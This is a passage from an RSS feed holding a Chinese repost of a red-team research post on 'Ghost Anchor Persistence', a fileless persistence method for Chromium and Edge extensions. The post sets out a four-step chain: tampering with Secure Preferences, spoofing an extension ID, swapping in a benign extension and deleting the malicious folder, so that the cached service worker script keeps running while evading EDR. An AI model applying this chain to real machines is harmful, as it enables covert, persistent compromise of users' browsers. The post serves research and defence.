none;margin-top: 15px;margin-right: 0px;margin-left: 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);margin-bottom: 0px !important;"><p style="margin: 0px 0px 15px;"><span leaf="">免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。</span></p></blockquote><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://chanzep.github.io/posts/pwn2own-ireland-2025-bypassing-authentication-via-synology-ds925-saml-sso">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=d9053d7f&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAxODM5ODQzNQ%3D%3D%26mid%3D2247496872%26idx%3D2%26sn%3D717d1acc999e2c633056f400f0eb92ba">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 12 Aug 2026 12:26:00 +0800</pubDate>
    </item>
    <item>
      <title>GAP — 幽灵锚点持久化：Chromium 浏览器中的无文件扩展持久化</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAxODM5ODQzNQ==&amp;mid=2247496813&amp;idx=1&amp;sn=b602762f031fee74d6442ce557da5694</link>
      <description>利用 Chromium 扩展架构中 ScriptCache 与磁盘文件夹不验证一致性的特性，实现无文件、EDR 规避的浏览器持久化，攻击后磁盘上不留任何恶意制品。</description>
      <content:encoded><![CDATA[<p><span>Corentin Mahieu</span> <span>2026-08-06 13:26</span> <span style="display: inline-block;">中国澳门</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=b172547c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fh4gtbB74nSgpOrfsLa2Dx5iaCVNpdGop5T8I4vAxMUb6ibLVJNd6ctvhreksiaoxhSqssXtib3ClblYibKLUT7MXbedkEuw4zPLB9cI0OCW8UJD8%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>利用 Chromium 扩展架构中 ScriptCache 与磁盘文件夹不验证一致性的特性，实现无文件、EDR 规避的浏览器持久化，攻击后磁盘上不留任何恶意制品。</p>
  <table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">原文链接</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">作者</span></p></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf=""><a href="https://fir3n0x.github.io/posts/GAP-Ghost-Anchor-Persistence-Fileless-Extension-Persistence-in-Chromium-Browsers/" target="_blank">https://fir3n0x.github.io/posts/GAP-Ghost-Anchor-Persistence-Fileless-Extension-Persistence-in-Chromium-Browsers/</a></span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">Fir3n0x</span></p></td></tr></tbody></table><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">浏览器扩展是一个被低估的攻击面。它们在浏览器中原生运行，设计上即被信任，可以访问 cookie、网络请求以及用户访问的每一个页面——而大多数 EDR 甚至不会去检查它们。在后渗透场景中，一个作为 agent 运行的恶意扩展对标准终端安全工具来说几乎是不可见的。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在这篇文章中，我发布 </span><strong><span leaf="">GAP（Ghost Anchor Persistence，幽灵锚点持久化）</span></strong><span leaf="">——我在个人研究中发现的一种无文件持久化技术。GAP 利用 Chromium 系浏览器的一个架构特性，在浏览器内实现持久的任意 JavaScript 执行——攻击完成后文件系统上不留任何恶意制品。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">前置工作 — 基于 stomp</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">如果你还没读过关于 stomp 的前一篇帖子，简短版是这样的：可以通过操作 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Secure Preferences</span></code><span leaf="">文件并正确重算 HMAC，强制将一个浏览器扩展安装到 Chromium 系浏览器中。在 GPO 限制的环境中，这甚至也能奏效——方法是伪装成白名单扩展的 ID。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这个技术很有效，但有一个明显的局限：</span><strong><span leaf="">恶意扩展文件夹留在磁盘上</span></strong><span leaf="">，目标用户下运行的任何进程都可以读取它。SOC 分析师或有文件系统监控的 EDR 会发现它。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">GAP 彻底消除了这一制品。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">三个关键组件</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">要理解 GAP，你需要了解 Chromium 内部如何管理扩展。涉及三个相互独立的组件：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">Secure Preferences</span></strong><span leaf="">— 一个用 HMAC 签名的 JSON 文件，存储已安装扩展的列表、它们在磁盘上的路径以及相关元数据。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">C:\Users\&lt;user&gt;\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">Service Worker Registration database</span></strong><span leaf="">— 一个持久化 service worker 注册信息的 LevelDB 数据库。当带有后台 service worker 的浏览器扩展首次加载时，Chromium 会写入一条注册条目，将扩展作用域映射到其脚本 URL 和一个内部 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">version_id</span></code><span leaf="">。该数据库在架构上独立于磁盘上的扩展文件夹。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">Service Worker\Database\</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">ScriptCache</span></strong><span leaf="">— Chromium 存储已编译 service worker 脚本的目录，以从脚本 URL 派生的哈希作为索引。ScriptCache 仅在三种特定条件下失效：HTTP cache-control 信号、显式的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">unregister()</span></code><span leaf="">调用，或通过官方扩展更新机制触发的版本号变更。</span><strong><span leaf="">替换磁盘上的扩展文件夹不会触发失效。</span></strong></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">Service Worker\ScriptCache\</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">关键洞察：浏览器启动时会检查扩展文件夹在磁盘上是否存在，但</span><strong><span leaf="">不</span></strong><span leaf="">验证 ScriptCache 中的缓存脚本与该文件夹中当前文件是否匹配。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">攻击原语</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">GAP 需要两个共享相同 ID 的扩展——由 stomp 的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">--spoof</span></code><span leaf="">选项生成：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">Extension A</span></strong><p><span leaf="">：具有功能性后台 service worker 的恶意扩展</span></p></li><li style="margin: 15px 0px 0px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">Extension B</span></strong><p><span leaf="">：文件名相同但脚本内容为空的良性扩展</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">感染链分为四步：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">1. 部署 A</span></strong><span leaf="">：使用 stomp 注入 extension A。Edge 在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Secure Preferences</span></code><span leaf="">中注册 A 的 ID 并解析其文件夹路径。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">2. 触发注册</span></strong><span leaf="">：打开并关闭浏览器。这一步是必须的：它会促使 Chromium 在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Service Worker\Database\</span></code><span leaf="">中注册 A 的 service worker，并在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ScriptCache</span></code><span leaf="">中缓存其编译后的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">background.js</span></code><span leaf="">。跳过这一步会中断整个链条。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">3. 用 B 覆盖</span></strong><span leaf="">：运行 B 的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">inject.bat</span></code><span leaf="">。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Secure Preferences</span></code><span leaf="">被覆盖：扩展 ID 现在解析到 B 的良性文件夹。Service Worker Registration database 和 ScriptCache 不受影响。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">4. 移除 A</span></strong><span leaf="">：从磁盘删除 A 的文件夹。磁盘上只剩下 B 的良性文件夹。文件系统上没有恶意制品。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">下次浏览器启动时：Edge 将扩展 ID 解析到 B 的文件夹，找到该作用域的已有 Registration，确认文件夹存在，然后从 ScriptCache 加载 A 的恶意脚本。</span><strong><span leaf="">幽灵锚点持久化建立完成。</span></strong></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">Secure Preferences    Extension ID → folder B (benign, on disk)</span><br/><span leaf="">                                   |</span><br/><span leaf="">                          existence check only</span><br/><span leaf="">                                   |</span><br/><span leaf="">Service Worker DB      Registration of A (version_id unchanged)</span><br/><span leaf="">                                   |</span><br/><span leaf="">                            cache key lookup</span><br/><span leaf="">                                   |</span><br/><span leaf="">ScriptCache            Compiled background.js of A [EXECUTING]</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">为什么 ScriptCache 永远不会失效</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">chrome-extension://</span></code><span leaf="">协议不携带 HTTP 头，因此 cache-control 验证不适用。stomp 操作期间不会调用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">unregister()</span></code><span leaf="">，因此 Registration 持续存在。由于 extension A 和 B 共享相同的 ID，更新机制不会检测到版本号变更。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">缓存键 —— </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">chrome-extension://&lt;ID&gt;/background.js</span></code><span leaf="">—— 永久有效。Edge 在每次启动时都会加载 A 的恶意编译脚本，永远如此。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">红队价值</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 